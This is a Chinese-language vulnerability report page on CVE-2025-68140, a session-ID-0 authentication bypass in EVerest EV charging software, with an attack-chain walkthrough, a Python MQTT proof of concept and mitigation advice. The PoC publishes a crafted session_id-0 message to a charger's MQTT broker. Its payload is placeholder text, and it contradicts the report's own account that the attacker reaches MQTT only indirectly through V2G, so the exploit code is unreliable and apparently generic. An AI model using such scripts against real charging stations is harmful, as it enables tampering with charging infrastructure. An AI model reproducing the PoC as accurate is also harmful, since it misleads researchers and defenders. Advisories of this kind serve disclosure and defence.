IPBUF安全漏洞报告
English
CVE-2025-68140 CVSS 4.3 中危

CVE-2025-68140 EVerest会话ID验证绕过漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2025-68140
漏洞类型
身份验证绕过
CVSS评分
4.3 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
EVerest (everest-core)

相关标签

身份验证绕过会话劫持EVerestV2GMQTT电动汽车充电邻接网络攻击CVE-2025-68140

漏洞概述

CVE-2025-68140是EVerest EV充电软件栈中的一个安全漏洞。EVerest是一个开源的电动汽车充电软件栈,用于管理V2G(Vehicle-to-Grid)通信和MQTT消息传递。该漏洞存在于会话验证机制中,攻击者可以利用未注册会话的默认会话ID值为0这一特性,通过发送会话ID为0的V2G消息来绕过身份验证。这允许未经授权的匿名用户间接发送MQTT消息并与V2G消息处理器通信,从而可能更新会话上下文。攻击者无需任何权限或用户交互即可实施攻击,但需要处于邻接网络位置(如充电站本地网络)。CVSS评分为4.3,属于中等严重程度,主要影响系统的完整性和机密性。

技术细节

该漏洞的根本原因在于EVerest对V2G消息的会话ID验证逻辑存在缺陷。当系统验证接收到的V2G消息有效性后,会检查消息中的会话ID是否与已注册的会话匹配。然而,如果尚未有任何会话被注册,系统会使用默认值0作为已注册的会话ID。这意味着攻击者只需要提交会话ID为0的V2G消息,即可通过验证并获得访问权限。由于系统假设会话ID 0是有效的默认值,攻击者可以匿名发送MQTT消息,与V2G消息处理器进行通信,并修改会话上下文。攻击者利用的是系统对未初始化状态的信任,绕过了正常的身份验证流程。这种设计缺陷使得攻击者能够在没有有效凭证的情况下,以邻接网络位置(如连接到同一充电站网络)发送恶意构造的V2G消息。

攻击链分析

STEP 1
步骤1
攻击者获得与EVerest充电站相邻网络的位置(如连接到同一本地网络)
STEP 2
步骤2
攻击者识别目标EVerest系统的MQTT服务端口(默认1883)
STEP 3
步骤3
攻击者构造包含session_id为0的恶意V2G消息,利用系统未注册会话时默认值为0的缺陷
STEP 4
步骤4
通过MQTT协议将恶意V2G消息发送到everest/v2g/incoming主题
STEP 5
步骤5
EVerest系统验证消息有效性后,检查session_id=0与默认值匹配,绕过身份验证
STEP 6
步骤6
攻击者成功以匿名身份发送MQTT消息,与V2G消息处理器通信并更新会话上下文

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-68140 PoC - EVerest Session ID Bypass # This PoC demonstrates sending a V2G message with session ID 0 # to bypass authentication in EVerest < 2025.9.0 import paho.mqtt.client as mqtt import json import time # Configuration TARGET_HOST = "192.168.1.100" # EVerest charging station IP TARGET_PORT = 1883 BROKER_TOPIC = "everest/v2g/" def create_malicious_v2g_message(): """ Create a malicious V2G message with session_id = 0 This exploits the default session ID validation bypass """ message = { "message_type": "V2GMessage", "session_id": 0, # Exploiting the default uninitialized session ID "action": "update_session_context", "payload": { "arbitrary_data": "malicious_payload", "command": "manipulate_session" }, "timestamp": int(time.time()) } return json.dumps(message) def on_connect(client, userdata, flags, rc): if rc == 0: print("[+] Connected to MQTT broker") # Send malicious V2G message payload = create_malicious_v2g_message() client.publish(BROKER_TOPIC + "incoming", payload) print(f"[+] Malicious message sent: {payload}") else: print(f"[-] Connection failed with code {rc}") def main(): client = mqtt.Client() client.on_connect = on_connect try: client.connect(TARGET_HOST, TARGET_PORT, 60) client.loop_forever() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": main() # Note: This PoC requires network access to the target EVerest charging station # Attack vector: Adjacent network (AV:A) # No authentication required (PR:N) # No user interaction needed (UI:N)

影响范围

EVerest < 2025.9.0
everest-core < 2025.9.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:在MQTT代理层面配置访问控制列表(ACL),限制只有授权设备才能发布V2G相关主题的消息;启用MQTT用户名/密码认证或客户端证书认证;对网络进行分段,将充电系统隔离在受保护的网段中;部署入侵检测系统监控异常的MQTT消息模式,特别是包含session_id为0的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表